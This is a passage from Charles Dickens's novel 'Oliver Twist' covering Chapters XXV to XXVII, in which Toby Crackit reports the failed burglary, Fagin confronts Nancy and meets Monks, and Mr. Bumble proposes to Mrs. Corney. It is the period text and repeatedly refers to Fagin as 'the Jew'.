+dreaded something, and feared to know the worst. At length he +raised his head. + +'Where is he?' he asked. + +The Dodger pointed to the floor above, and made a gesture, as if +to leave the room. + +'Yes,' said the Jew, answering the mute inquiry; 'bring him down. +Hush! Quiet, Charley! Gently, Tom! Scarce, scarce!' + +This brief direction to Charley Bates, and his recent antagonist, +was softly and immediately obeyed. There was no sound of their +whereabout, when the Dodger descended the stairs, bearing the +light in his hand, and followed by a man in a coarse smock-frock; +who, after casting a hurried glance round the room, pulled off a +large wrapper which had concealed the lower portion of his face, +and disclosed: all haggard, unwashed, and unshorn: the features +of flash Toby Crackit. + +'How are you, Faguey?' said this worthy, nodding to the Jew. 'Pop +that shawl away in my castor, Dodger, so that I may know where to +find it when I cut; that's the time of day! You'll be a fine +young cracksman afore the old file now.' + +With these words he pulled up the smock-frock; and, winding it +round his middle, drew a chair to the fire, and placed his feet +upon the hob. + +'See there, Faguey,' he said, pointing disconsolately to his top +boots; 'not a drop of Day and Martin since you know when; not a +bubble of blacking, by Jove! But don't look at me in that way, +man. All in good time. I can't talk about business till I've +eat and drank; so produce the sustainance, and let's have a quiet +fill-out for the first time these three days!' + +The Jew motioned to the Dodger to place what eatables there were, +upon the table; and, seating himself opposite the housebreaker, +waited his leisure. + +To judge from appearances, Toby was by no means in a hurry to +open the conversation. At first, the Jew contented himself with +patiently watching his countenance, as if to gain from its +expression some clue to the intelligence he brought; but in vain. + +He looked tired and worn, but there was the same complacent +repose upon his features that they always wore: and through +dirt, and beard, and whisker, there still shone, unimpaired, the +self-satisfied smirk of flash Toby Crackit. Then the Jew, in an +agony of impatience, watched every morsel he put into his mouth; +pacing up and down the room, meanwhile, in irrepressible +excitement. It was all of no use. Toby continued to eat with +the utmost outward indifference, until he could eat no more; +then, ordering the Dodger out, he closed the door, mixed a glass +of spirits and water, and composed himself for talking. + +'First and foremost, Faguey,' said Toby. + +'Yes, yes!' interposed the Jew, drawing up his chair. + +Mr. Crackit stopped to take a draught of spirits and water, and +to declare that the gin was excellent; then placing his feet +against the low mantelpiece, so as to bring his boots to about +the level of his eye, he quietly resumed. + +'First and foremost, Faguey,' said the housebreaker, 'how's +Bill?' + +'What!' screamed the Jew, starting from his seat. + +'Why, you don't mean to say--' began Toby, turning pale. + +'Mean!' cried the Jew, stamping furiously on the ground. 'Where +are they? Sikes and the boy! Where are they? Where have they +been? Where are they hiding? Why have they not been here?' + +'The crack failed,' said Toby faintly. + +'I know it,' replied the Jew, tearing a newspaper from his pocket +and pointing to it. 'What more?' + +'They fired and hit the boy. We cut over the fields at the back, +with him between us--straight as the crow flies--through hedge +and ditch. They gave chase. Damme! the whole country was awake, +and the dogs upon us.' + +'The boy!' + +'Bill had him on his back, and scudded like the wind. We stopped +to take him between us; his head hung down, and he was cold. +They were close upon our heels; every man for himself, and each +from the gallows! We parted company, and left the youngster +lying in a ditch. Alive or dead, that's all I know about him.' + +The Jew stopped to hear no more; but uttering a loud yell, and +twining his hands in his hair, rushed from the room, and from the +house. + + + + +CHAPTER XXVI + +IN WHICH A MYSTERIOUS CHARACTER APPEARS UPON THE SCENE; AND MANY +THINGS, INSEPARABLE FROM THIS HISTORY, ARE DONE AND PERFORMED + +The old man had gained the street corner, before he began to +recover the effect of Toby Crackit's intelligence. He had +relaxed nothing of his unusual speed; but was still pressing +onward, in the same wild and disordered manner, when the sudden +dashing past of a carriage: and a boisterous cry from the foot +passengers, who saw his danger: drove him back upon the +pavement. Avoiding, as much as was possible, all the main +streets, and skulking only through the by-ways and alleys, he at +length emerged on Snow Hill. Here he walked even faster than +before; nor did he linger until he had again turned into a court; +when, as if conscious that he was now in his proper element, he +fell into his usual shuffling pace, and seemed to breathe more +freely. + +Near to the spot on which Snow Hill and Holborn Hill meet, opens, +upon the right hand as you come out of the City, a narrow and +dismal alley, leading to Saffron Hill. In its filthy shops are +exposed for sale huge bunches of second-hand silk handkerchiefs, +of all sizes and patterns; for here reside the traders who +purchase them from pick-pockets. Hundreds of these handkerchiefs +hang dangling from pegs outside the windows or flaunting from the +door-posts; and the shelves, within, are piled with them. +Confined as the limits of Field Lane are, it has its barber, its +coffee-shop, its beer-shop, and its fried-fish warehouse. It is +a commercial colony of itself: the emporium of petty larceny: +visited at early morning, and setting-in of dusk, by silent +merchants, who traffic in dark back-parlours, and who go as +strangely as they come. Here, the clothesman, the shoe-vamper, +and the rag-merchant, display their goods, as sign-boards to the +petty thief; here, stores of old iron and bones, and heaps of +mildewy fragments of woollen-stuff and linen, rust and rot in the +grimy cellars. + +It was into this place that the Jew turned. He was well known to +the sallow denizens of the lane; for such of them as were on the +look-out to buy or sell, nodded, familiarly, as he passed along. +He replied to their salutations in the same way; but bestowed no +closer recognition until he reached the further end of the alley; +when he stopped, to address a salesman of small stature, who had +squeezed as much of his person into a child's chair as the chair +would hold, and was smoking a pipe at his warehouse door. + +'Why, the sight of you, Mr. Fagin, would cure the hoptalmy!' +said this respectable trader, in acknowledgment of the Jew's +inquiry after his health. + +'The neighbourhood was a little too hot, Lively,' said Fagin, +elevating his eyebrows, and crossing his hands upon his +shoulders. + +'Well, I've heerd that complaint of it, once or twice before,' +replied the trader; 'but it soon cools down again; don't you find +it so?' + +Fagin nodded in the affirmative. Pointing in the direction of +Saffron Hill, he inquired whether any one was up yonder to-night. + +'At the Cripples?' inquired the man. + +The Jew nodded. + +'Let me see,' pursued the merchant, reflecting. + +'Yes, there's some half-dozen of 'em gone in, that I knows. I +don't think your friend's there.' + +'Sikes is not, I suppose?' inquired the Jew, with a disappointed +countenance. + +'_Non istwentus_, as the lawyers say,' replied the little man, +shaking his head, and looking amazingly sly. 'Have you got +anything in my line to-night?' + +'Nothing to-night,' said the Jew, turning away. + +'Are you going up to the Cripples, Fagin?' cried the little man, +calling after him. 'Stop! I don't mind if I have a drop there +with you!' + +But as the Jew, looking back, waved his hand to intimate that he +preferred being alone; and, moreover, as the little man could not +very easily disengage himself from the chair; the sign of the +Cripples was, for a time, bereft of the advantage of Mr. Lively's +presence. By the time he had got upon his legs, the Jew had +disappeared; so Mr. Lively, after ineffectually standing on +tiptoe, in the hope of catching sight of him, again forced +himself into the little chair, and, exchanging a shake of the +head with a lady in the opposite shop, in which doubt and +mistrust were plainly mingled, resumed his pipe with a grave +demeanour. + +The Three Cripples, or rather the Cripples; which was the sign by +which the establishment was familiarly known to its patrons: was +the public-house in which Mr. Sikes and his dog have already +figured. Merely making a sign to a man at the bar, Fagin walked +straight upstairs, and opening the door of a room, and softly +insinuating himself into the chamber, looked anxiously about: +shading his eyes with his hand, as if in search of some +particular person. + +The room was illuminated by two gas-lights; the glare of which +was prevented by the barred shutters, and closely-drawn curtains +of faded red, from being visible outside. The ceiling was +blackened, to prevent its colour from being injured by the +flaring of the lamps; and the place was so full of dense tobacco +smoke, that at first it was scarcely possible to discern anything +more. By degrees, however, as some of it cleared away through +the open door, an assemblage of heads, as confused as the noises +that greeted the ear, might be made out; and as the eye grew more +accustomed to the scene, the spectator gradually became aware of +the presence of a numerous company, male and female, crowded +round a long table: at the upper end of which, sat a chairman +with a hammer of office in his hand; while a professional +gentleman with a bluish nose, and his face tied up for the +benefit of a toothache, presided at a jingling piano in a remote +corner. + +As Fagin stepped softly in, the professional gentleman, running +over the keys by way of prelude, occasioned a general cry of +order for a song; which having subsided, a young lady proceeded +to entertain the company with a ballad in four verses, between +each of which the accompanyist played the melody all through, as +loud as he could. When this was over, the chairman gave a +sentiment, after which, the professional gentleman on the +chairman's right and left volunteered a duet, and sang it, with +great applause. + +It was curious to observe some faces which stood out prominently +from among the group. There was the chairman himself, (the +landlord of the house,) a coarse, rough, heavy built fellow, who, +while the songs were proceeding, rolled his eyes hither and +thither, and, seeming to give himself up to joviality, had an eye +for everything that was done, and an ear for everything that was +said--and sharp ones, too. Near him were the singers: +receiving, with professional indifference, the compliments of the +company, and applying themselves, in turn, to a dozen proffered +glasses of spirits and water, tendered by their more boisterous +admirers; whose countenances, expressive of almost every vice in +almost every grade, irresistibly attracted the attention, by +their very repulsiveness. Cunning, ferocity, and drunkeness in +all its stages, were there, in their strongest aspect; and women: +some with the last lingering tinge of their early freshness +almost fading as you looked: others with every mark and stamp of +their sex utterly beaten out, and presenting but one loathsome +blank of profligacy and crime; some mere girls, others but young +women, and none past the prime of life; formed the darkest and +saddest portion of this dreary picture. + +Fagin, troubled by no grave emotions, looked eagerly from face to +face while these proceedings were in progress; but apparently +without meeting that of which he was in search. Succeeding, at +length, in catching the eye of the man who occupied the chair, he +beckoned to him slightly, and left the room, as quietly as he had +entered it. + +'What can I do for you, Mr. Fagin?' inquired the man, as he +followed him out to the landing. 'Won't you join us? They'll be +delighted, every one of 'em.' + +The Jew shook his head impatiently, and said in a whisper, 'Is _he_ +here?' + +'No,' replied the man. + +'And no news of Barney?' inquired Fagin. + +'None,' replied the landlord of the Cripples; for it was he. 'He +won't stir till it's all safe. Depend on it, they're on the +scent down there; and that if he moved, he'd blow upon the thing +at once. He's all right enough, Barney is, else I should have +heard of him. I'll pound it, that Barney's managing properly. +Let him alone for that.' + +'Will _he_ be here to-night?' asked the Jew, laying the same +emphasis on the pronoun as before. + +'Monks, do you mean?' inquired the landlord, hesitating. + +'Hush!' said the Jew. 'Yes.' + +'Certain,' replied the man, drawing a gold watch from his fob; 'I +expected him here before now. If you'll wait ten minutes, he'll +be--' + +'No, no,' said the Jew, hastily; as though, however desirous he +might be to see the person in question, he was nevertheless +relieved by his absence. 'Tell him I came here to see him; and +that he must come to me to-night. No, say to-morrow. As he is +not here, to-morrow will be time enough.' + +'Good!' said the man. 'Nothing more?' + +'Not a word now,' said the Jew, descending the stairs. + +'I say,' said the other, looking over the rails, and speaking in +a hoarse whisper; 'what a time this would be for a sell! I've +got Phil Barker here: so drunk, that a boy might take him!' + +'Ah! But it's not Phil Barker's time,' said the Jew, looking up. + +'Phil has something more to do, before we can afford to part with +him; so go back to the company, my dear, and tell them to lead +merry lives--_while they last_. Ha! ha! ha!' + +The landlord reciprocated the old man's laugh; and returned to +his guests. The Jew was no sooner alone, than his countenance +resumed its former expression of anxiety and thought. After a +brief reflection, he called a hack-cabriolet, and bade the man +drive towards Bethnal Green. He dismissed him within some quarter +of a mile of Mr. Sikes's residence, and performed the short +remainder of the distance, on foot. + +'Now,' muttered the Jew, as he knocked at the door, 'if there is +any deep play here, I shall have it out of you, my girl, cunning +as you are.' + +She was in her room, the woman said. Fagin crept softly +upstairs, and entered it without any previous ceremony. The girl +was alone; lying with her head upon the table, and her hair +straggling over it. + +'She has been drinking,' thought the Jew, cooly, 'or perhaps she +is only miserable.' + +The old man turned to close the door, as he made this reflection; +the noise thus occasioned, roused the girl. She eyed his crafty +face narrowly, as she inquired to his recital of Toby Crackit's +story. When it was concluded, she sank into her former attitude, +but spoke not a word. She pushed the candle impatiently away; +and once or twice as she feverishly changed her position, +shuffled her feet upon the ground; but this was all. + +During the silence, the Jew looked restlessly about the room, as +if to assure himself that there were no appearances of Sikes +having covertly returned. Apparently satisfied with his +inspection, he coughed twice or thrice, and made as many efforts +to open a conversation; but the girl heeded him no more than if +he had been made of stone. At length he made another attempt; +and rubbing his hands together, said, in his most conciliatory +tone, + +'And where should you think Bill was now, my dear?' + +The girl moaned out some half intelligible reply, that she could +not tell; and seemed, from the smothered noise that escaped her, +to be crying. + +'And the boy, too,' said the Jew, straining his eyes to catch a +glimpse of her face. 'Poor leetle child! Left in a ditch, +Nance; only think!' + +'The child,' said the girl, suddenly looking up, 'is better where +he is, than among us; and if no harm comes to Bill from it, I +hope he lies dead in the ditch and that his young bones may rot +there.' + +'What!' cried the Jew, in amazement. + +'Ay, I do,' returned the girl, meeting his gaze. 'I shall be +glad to have him away from my eyes, and to know that the worst is +over. I can't bear to have him about me. The sight of him turns +me against myself, and all of you.' + +'Pooh!' said the Jew, scornfully. 'You're drunk.' + +'Am I?' cried the girl bitterly. 'It's no fault of yours, if I +am not! You'd never have me anything else, if you had your will, +except now;--the humour doesn't suit you, doesn't it?' + +'No!' rejoined the Jew, furiously. 'It does not.' + +'Change it, then!' responded the girl, with a laugh. + +'Change it!' exclaimed the Jew, exasperated beyond all bounds by +his companion's unexpected obstinacy, and the vexation of the +night, 'I _will_ change it! Listen to me, you drab. Listen to me, +who with six words, can strangle Sikes as surely as if I had his +bull's throat between my fingers now. If he comes back, and +leaves the boy behind him; if he gets off free, and dead or +alive, fails to restore him to me; murder him yourself if you +would have him escape Jack Ketch. And do it the moment he sets +foot in this room, or mind me, it will be too late!' + +'What is all this?' cried the girl involuntarily. + +'What is it?' pursued Fagin, mad with rage. 'When the boy's +worth hundreds of pounds to me, am I to lose what chance threw me +in the way of getting safely, through the whims of a drunken gang +that I could whistle away the lives of! And me bound, too, to a +born devil that only wants the will, and has the power to, to--' + +Panting for breath, the old man stammered for a word; and in that +instant checked the torrent of his wrath, and changed his whole +demeanour. A moment before, his clenched hands had grasped the +air; his eyes had dilated; and his face grown livid with passion; +but now, he shrunk into a chair, and, cowering together, trembled +with the apprehension of having himself disclosed some hidden +villainy. After a short silence, he ventured to look round at +his companion. He appeared somewhat reassured, on beholding her +in the same listless attitude from which he had first roused her. + +'Nancy, dear!' croaked the Jew, in his usual voice. 'Did you +mind me, dear?' + +'Don't worry me now, Fagin!' replied the girl, raising her head +languidly. 'If Bill has not done it this time, he will another. +He has done many a good job for you, and will do many more when +he can; and when he can't he won't; so no more about that.' + +'Regarding this boy, my dear?' said the Jew, rubbing the palms of +his hands nervously together. + +'The boy must take his chance with the rest,' interrupted Nancy, +hastily; 'and I say again, I hope he is dead, and out of harm's +way, and out of yours,--that is, if Bill comes to no harm. And +if Toby got clear off, Bill's pretty sure to be safe; for Bill's +worth two of Toby any time.' + +'And about what I was saying, my dear?' observed the Jew, keeping +his glistening eye steadily upon her. + +'Your must say it all over again, if it's anything you want me to +do,' rejoined Nancy; 'and if it is, you had better wait till +to-morrow. You put me up for a minute; but now I'm stupid +again.' + +Fagin put several other questions: all with the same drift of +ascertaining whether the girl had profited by his unguarded +hints; but, she answered them so readily, and was withal so +utterly unmoved by his searching looks, that his original +impression of her being more than a trifle in liquor, was +confirmed. Nancy, indeed, was not exempt from a failing which +was very common among the Jew's female pupils; and in which, in +their tenderer years, they were rather encouraged than checked. +Her disordered appearance, and a wholesale perfume of Geneva +which pervaded the apartment, afforded strong confirmatory +evidence of the justice of the Jew's supposition; and when, after +indulging in the temporary display of violence above described, +she subsided, first into dullness, and afterwards into a compound +of feelings: under the influence of which she shed tears one +minute, and in the next gave utterance to various exclamations of +'Never say die!' and divers calculations as to what might be the +amount of the odds so long as a lady or gentleman was happy, Mr. +Fagin, who had had considerable experience of such matters in his +time, saw, with great satisfaction, that she was very far gone +indeed. + +Having eased his mind by this discovery; and having accomplished +his twofold object of imparting to the girl what he had, that +night, heard, and of ascertaining, with his own eyes, that Sikes +had not returned, Mr. Fagin again turned his face homeward: +leaving his young friend asleep, with her head upon the table. + +It was within an hour of midnight. The weather being dark, and +piercing cold, he had no great temptation to loiter. The sharp +wind that scoured the streets, seemed to have cleared them of +passengers, as of dust and mud, for few people were abroad, and +they were to all appearance hastening fast home. It blew from the +right quarter for the Jew, however, and straight before it he +went: trembling, and shivering, as every fresh gust drove him +rudely on his way. + +He had reached the corner of his own street, and was already +fumbling in his pocket for the door-key, when a dark figure +emerged from a projecting entrance which lay in deep shadow, and, +crossing the road, glided up to him unperceived. + +'Fagin!' whispered a voice close to his ear. + +'Ah!' said the Jew, turning quickly round, 'is that--' + +'Yes!' interrupted the stranger. 'I have been lingering here +these two hours. Where the devil have you been?' + +'On your business, my dear,' replied the Jew, glancing uneasily +at his companion, and slackening his pace as he spoke. 'On your +business all night.' + +'Oh, of course!' said the stranger, with a sneer. 'Well; and +what's come of it?' + +'Nothing good,' said the Jew. + +'Nothing bad, I hope?' said the stranger, stopping short, and +turning a startled look on his companion. + +The Jew shook his head, and was about to reply, when the +stranger, interrupting him, motioned to the house, before which +they had by this time arrived: remarking, that he had better say +what he had got to say, under cover: for his blood was chilled +with standing about so long, and the wind blew through him. + +Fagin looked as if he could have willingly excused himself from +taking home a visitor at that unseasonable hour; and, indeed, +muttered something about having no fire; but his companion +repeating his request in a peremptory manner, he unlocked the +door, and requested him to close it softly, while he got a light. + +'It's as dark as the grave,' said the man, groping forward a few +steps. 'Make haste!' + +'Shut the door,' whispered Fagin from the end of the passage. As +he spoke, it closed with a loud noise. + +'That wasn't my doing,' said the other man, feeling his way. 'The +wind blew it to, or it shut of its own accord: one or the other. +Look sharp with the light, or I shall knock my brains out against +something in this confounded hole.' + +Fagin stealthily descended the kitchen stairs. After a short +absence, he returned with a lighted candle, and the intelligence +that Toby Crackit was asleep in the back room below, and that the +boys were in the front one. Beckoning the man to follow him, he +led the way upstairs. + +'We can say the few words we've got to say in here, my dear,' +said the Jew, throwing open a door on the first floor; 'and as +there are holes in the shutters, and we never show lights to our +neighbours, we'll set the candle on the stairs. There!' + +With those words, the Jew, stooping down, placed the candle on an +upper flight of stairs, exactly opposite to the room door. This +done, he led the way into the apartment; which was destitute of +all movables save a broken arm-chair, and an old couch or sofa +without covering, which stood behind the door. Upon this piece +of furniture, the stranger sat himself with the air of a weary +man; and the Jew, drawing up the arm-chair opposite, they sat +face to face. It was not quite dark; the door was partially +open; and the candle outside, threw a feeble reflection on the +opposite wall. + +They conversed for some time in whispers. Though nothing of the +conversation was distinguishable beyond a few disjointed words +here and there, a listener might easily have perceived that Fagin +appeared to be defending himself against some remarks of the +stranger; and that the latter was in a state of considerable +irritation. They might have been talking, thus, for a quarter of +an hour or more, when Monks--by which name the Jew had designated +the strange man several times in the course of their +colloquy--said, raising his voice a little, + +'I tell you again, it was badly planned. Why not have kept him +here among the rest, and made a sneaking, snivelling pickpocket +of him at once?' + +'Only hear him!' exclaimed the Jew, shrugging his shoulders. + +'Why, do you mean to say you couldn't have done it, if you had +chosen?' demanded Monks, sternly. 'Haven't you done it, with +other boys, scores of times? If you had had patience for a +twelvemonth, at most, couldn't you have got him convicted, and +sent safely out of the kingdom; perhaps for life?' + +'Whose turn would that have served, my dear?' inquired the Jew +humbly. + +'Mine,' replied Monks. + +'But not mine,' said the Jew, submissively. 'He might have +become of use to me. When there are two parties to a bargain, it +is only reasonable that the interests of both should be +consulted; is it, my good friend?' + +'What then?' demanded Monks. + +'I saw it was not easy to train him to the business,' replied the +Jew; 'he was not like other boys in the same circumstances.' + +'Curse him, no!' muttered the man, 'or he would have been a +thief, long ago.' + +'I had no hold upon him to make him worse,' pursued the Jew, +anxiously watching the countenance of his companion. 'His hand +was not in. I had nothing to frighten him with; which we always +must have in the beginning, or we labour in vain. What could I +do? Send him out with the Dodger and Charley? We had enough of +that, at first, my dear; I trembled for us all.' + +'_That_ was not my doing,' observed Monks. + +'No, no, my dear!' renewed the Jew. 'And I don't quarrel with it +now; because, if it had never happened, you might never have +clapped eyes on the boy to notice him, and so led to the +discovery that it was him you were looking for. Well! I got him +back for you by means of the girl; and then _she_ begins to favour +him.' + +'Throttle the girl!' said Monks, impatiently. + +'Why, we can't afford to do that just now, my dear,' replied the +Jew, smiling; 'and, besides, that sort of thing is not in our +way; or, one of these days, I might be glad to have it done. I +know what these girls are, Monks, well. As soon as the boy +begins to harden, she'll care no more for him, than for a block +of wood. You want him made a thief. If he is alive, I can make +him one from this time; and, if--if--' said the Jew, drawing +nearer to the other,--'it's not likely, mind,--but if the worst +comes to the worst, and he is dead--' + +'It's no fault of mine if he is!' interposed the other man, with +a look of terror, and clasping the Jew's arm with trembling +hands. 'Mind that. Fagin! I had no hand in it. Anything but +his death, I told you from the first. I won't shed blood; it's +always found out, and haunts a man besides. If they shot him +dead, I was not the cause; do you hear me? Fire this infernal +den! What's that?' + +'What!' cried the Jew, grasping the coward round the body, with +both arms, as he sprung to his feet. 'Where?' + +'Yonder! replied the man, glaring at the opposite wall. 'The +shadow! I saw the shadow of a woman, in a cloak and bonnet, pass +along the wainscot like a breath!' + +The Jew released his hold, and they rushed tumultuously from the +room. The candle, wasted by the draught, was standing where it +had been placed. It showed them only the empty staircase, and +their own white faces. They listened intently: a profound +silence reigned throughout the house. + +'It's your fancy,' said the Jew, taking up the light and turning +to his companion. + +'I'll swear I saw it!' replied Monks, trembling. 'It was bending +forward when I saw it first; and when I spoke, it darted away.' + +The Jew glanced contemptuously at the pale face of his associate, +and, telling him he could follow, if he pleased, ascended the +stairs. They looked into all the rooms; they were cold, bare, +and empty. They descended into the passage, and thence into the +cellars below. The green damp hung upon the low walls; the +tracks of the snail and slug glistened in the light of the +candle; but all was still as death. + +'What do you think now?' said the Jew, when they had regained the +passage. 'Besides ourselves, there's not a creature in the house +except Toby and the boys; and they're safe enough. See here!' + +As a proof of the fact, the Jew drew forth two keys from his +pocket; and explained, that when he first went downstairs, he had +locked them in, to prevent any intrusion on the conference. + +This accumulated testimony effectually staggered Mr. Monks. His +protestations had gradually become less and less vehement as they +proceeded in their search without making any discovery; and, now, +he gave vent to several very grim laughs, and confessed it could +only have been his excited imagination. He declined any renewal +of the conversation, however, for that night: suddenly +remembering that it was past one o'clock. And so the amiable +couple parted. + + + + +CHAPTER XXVII + +ATONES FOR THE UNPOLITENESS OF A FORMER CHAPTER; WHICH DESERTED A +LADY, MOST UNCEREMONIOUSLY + +As it would be, by no means, seemly in a humble author to keep so +mighty a personage as a beadle waiting, with his back to the +fire, and the skirts of his coat gathered up under his arms, +until such time as it might suit his pleasure to relieve him; and +as it would still less become his station, or his gallantry to +involve in the same neglect a lady on whom that beadle had looked +with an eye of tenderness and affection, and in whose ear he had +whispered sweet words, which, coming from such a quarter, might +well thrill the bosom of maid or matron of whatsoever degree; the +historian whose pen traces these words--trusting that he knows +his place, and that he entertains a becoming reverence for those +upon earth to whom high and important authority is +delegated--hastens to pay them that respect which their position +demands, and to treat them with all that duteous ceremony which +their exalted rank, and (by consequence) great virtues, +imperatively claim at his hands. Towards this end, indeed, he +had purposed to introduce, in this place, a dissertation touching +the divine right of beadles, and elucidative of the position, +that a beadle can do no wrong: which could not fail to have been +both pleasurable and profitable to the right-minded reader but +which he is unfortunately compelled, by want of time and space, +to postpone to some more convenient and fitting opportunity; on +the arrival of which, he will be prepared to show, that a beadle +properly constituted: that is to say, a parochial beadle, +attached to a parochail workhouse, and attending in his official +capacity the parochial church: is, in right and virtue of his +office, possessed of all the excellences and best qualities of +humanity; and that to none of those excellences, can mere +companies' beadles, or court-of-law beadles, or even +chapel-of-ease beadles (save the last, and they in a very lowly +and inferior degree), lay the remotest sustainable claim. + +Mr. Bumble had re-counted the teaspoons, re-weighed the +sugar-tongs, made a closer inspection of the milk-pot, and +ascertained to a nicety the exact condition of the furniture, +down to the very horse-hair seats of the chairs; and had repeated +each process full half a dozen times; before he began to think +that it was time for Mrs. Corney to return. Thinking begets +thinking; as there were no sounds of Mrs. Corney's approach, it +occured to Mr. Bumble that it would be an innocent and virtuous +way of spending the time, if he were further to allay his +curiousity by a cursory glance at the interior of Mrs. Corney's +chest of drawers. + +Having listened at the keyhole, to assure himself that nobody was +approaching the chamber, Mr. Bumble, beginning at the bottom, +proceeded to make himself acquainted with the contents of the +three long drawers: which, being filled with various garments of +good fashion and texture, carefully preserved between two layers +of old newspapers, speckled with dried lavender: seemed to yield +him exceeding satisfaction. Arriving, in course of time, at the +right-hand corner drawer (in which was the key), and beholding +therein a small padlocked box, which, being shaken, gave forth a +pleasant sound, as of the chinking of coin, Mr. Bumble returned +with a stately walk to the fireplace; and, resuming his old +attitude, said, with a grave and determined air, 'I'll do it!' +He followed up this remarkable declaration, by shaking his head +in a waggish manner for ten minutes, as though he were +remonstrating with himself for being such a pleasant dog; and +then, he took a view of his legs in profile, with much seeming +pleasure and interest. + +He was still placidly engaged in this latter survey, when Mrs. +Corney, hurrying into the room, threw herself, in a breathless +state, on a chair by the fireside, and covering her eyes with one +hand, placed the other over her heart, and gasped for breath. + +'Mrs. Corney,' said Mr. Bumble, stooping over the matron, 'what +is this, ma'am? Has anything happened, ma'am? Pray answer me: +I'm on--on--' Mr. Bumble, in his alarm, could not immediately +think of the word 'tenterhooks,' so he said 'broken bottles.' + +'Oh, Mr. Bumble!' cried the lady, 'I have been so dreadfully put +out!' + +'Put out, ma'am!' exclaimed Mr. Bumble; 'who has dared to--? I +know!' said Mr. Bumble, checking himself, with native majesty, +'this is them wicious paupers!' + +'It's dreadful to think of!' said the lady, shuddering. + +'Then _don't_ think of it, ma'am,' rejoined Mr. Bumble. + +'I can't help it,' whimpered the lady. + +'Then take something, ma'am,' said Mr. Bumble soothingly. 'A +little of the wine?' + +'Not for the world!' replied Mrs. Corney. 'I couldn't,--oh! The +top shelf in the right-hand corner--oh!' Uttering these words, +the good lady pointed, distractedly, to the cupboard, and +underwent a convulsion from internal spasms. Mr. Bumble rushed +to the closet; and, snatching a pint green-glass bottle from the +shelf thus incoherently indicated, filled a tea-cup with its +contents, and held it to the lady's lips. + +'I'm better now,' said Mrs. Corney, falling back, after drinking +half of it. + +Mr. Bumble raised his eyes piously to the ceiling in +thankfulness; and, bringing them down again to the brim of the +cup, lifted it to his nose. + +'Peppermint,' exclaimed Mrs. Corney, in a faint voice, smiling +gently on the beadle as she spoke. 'Try it! There's a little--a +little something else in it.' + +Mr. Bumble tasted the medicine with a doubtful look; smacked his +lips; took another taste; and put the cup down empty. + +'It's very comforting,' said Mrs. Corney. + +'Very much so indeed, ma'am,' said the beadle. As he spoke, he +drew a chair beside the matron, and tenderly inquired what had +happened to distress her. + +'Nothing,' replied Mrs. Corney. 'I am a foolish, excitable, weak +creetur.' + +'Not weak, ma'am,' retorted Mr. Bumble, drawing his chair a +little closer. 'Are you a weak creetur, Mrs. Corney?' + +'We are all weak creeturs,' said Mrs. Corney, laying down a +general principle. + +'So we are,' said the beadle. + +Nothing was said on either side, for a minute or two afterwards. +By the expiration of that time, Mr. Bumble had illustrated the +position by removing his left arm from the back of Mrs. Corney's +chair, where it had previously rested, to Mrs. Corney's +apron-string, round which it gradually became entwined. + +'We are all weak creeturs,' said Mr. Bumble. + +Mrs. Corney sighed. + +'Don't sigh, Mrs. Corney,' said Mr. Bumble. + +'I can't help it,' said Mrs. Corney. And she sighed again. + +'This is a very comfortable room, ma'am,' said Mr. Bumble looking +round. 'Another room, and this, ma'am, would be a complete +thing.' + +'It would be too much for one,' murmured the lady. + +'But not for two, ma'am,' rejoined Mr. Bumble, in soft accents. +'Eh, Mrs. Corney?' + +Mrs. Corney drooped her head, when the beadle said this; the +beadle drooped his, to get a view of Mrs. Corney's face. Mrs. +Corney, with great propriety, turned her head away, and released +her hand to get at her pocket-handkerchief; but insensibly +replaced it in that of Mr. Bumble. + +'The board allows you coals, don't they, Mrs. Corney?' inquired +the beadle, affectionately pressing her hand. + +'And candles,' replied Mrs. Corney, slightly returning the +pressure. + +'Coals, candles, and house-rent free,' said Mr. Bumble. 'Oh, +Mrs. Corney, what an Angel you are!' + +The lady was not proof against this burst of feeling. She sank +into Mr. Bumble's arms; and that gentleman in his agitation, +imprinted a passionate kiss upon her chaste nose. + +'Such porochial perfection!' exclaimed Mr. Bumble, rapturously. +'You know that Mr. Slout is worse to-night, my fascinator?' + +'Yes,' replied Mrs. Corney, bashfully. + +'He can't live a week, the doctor says,' pursued Mr. Bumble. 'He +is the master of this establishment; his death will cause a +wacancy; that wacancy must be filled up. Oh, Mrs. Corney, what a +prospect this opens! What a opportunity for a jining of hearts +and housekeepings!' + +Mrs. Corney sobbed. + +'The little word?' said Mr. Bumble, bending over the bashful +beauty. 'The one little, little, little word, my blessed +Corney?' + +'Ye--ye--yes!' sighed out the matron. + +'One more,' pursued the beadle; 'compose your darling feelings +for only one more. When is it to come off?' + +Mrs. Corney twice essayed to speak: and twice failed. At length +summoning up courage, she threw her arms around Mr. Bumble's +neck, and said, it might be as soon as ever he pleased, and that +he was 'a irresistible duck.' + +Matters being thus amicably and satisfactorily arranged, the +contract was solemnly ratified in another teacupful of the +peppermint mixture; which was rendered the more necessary, by the +flutter and agitation of the lady's spirits. While it was being +disposed of, she acquainted Mr. Bumble with the old woman's +decease. + +'Very good,' said that gentleman, sipping his peppermint; 'I'll +call at Sowerberry's as I go home, and tell him to send to-morrow +morning. Was it that as frightened you, love?' + +'It wasn't anything particular, dear,' said the lady evasively. + +'It must have been something, love,' urged Mr. Bumble. 'Won't you +tell your own B.?' + +'Not now,' rejoined the lady; 'one of these days. After we're +married, dear.' + +'After we're married!' exclaimed Mr. Bumble. 'It wasn't any +impudence from any of them male paupers as--' + +'No, no, love!' interposed the lady, hastily. + +'If I thought it was,' continued Mr. Bumble; 'if I thought as any +one of 'em had dared to lift his wulgar eyes to that lovely +countenance--' + +'They wouldn't have dared to do it, love,' responded the lady. + +'They had better not!' said Mr. Bumble, clenching his fist. 'Let +me see any man, porochial or extra-porochial, as would presume to +do it; and I can tell him that he wouldn't do it a second time!' + +Unembellished by any violence of gesticulation, this might have +seemed no very high compliment to the lady's charms; but, as Mr. +Bumble accompanied the threat with many warlike gestures, she was +much touched with this proof of his devotion, and protested, with +great admiration, that he was indeed a dove. + +The dove then turned up his coat-collar, and put on his cocked +hat; and, having exchanged a long and affectionate embrace with +his future partner, once again braved the cold wind of the night: +merely pausing, for a few minutes, in the male paupers' ward, to +abuse them a little, with the view of satisfying himself that he +could fill the office of workhouse-master with needful acerbity. +Assured of his qualifications, Mr. Bumble left the building with +a light heart, and bright visions of his future promotion: which +served to occupy his mind until he reached the shop of the +undertaker. + +Now, Mr. and Mrs. Sowerberry having gone out to tea and supper: +and Noah Claypole not being at any time disposed to take upon +himself a greater amount of physical exertion than is necessary +to a convenient performance of the two functions of eating and +drinking, the shop was not closed, although it was past the usual +hour of shutting-up. Mr. Bumble tapped with his cane on the +counter several times; but, attracting no attention, and 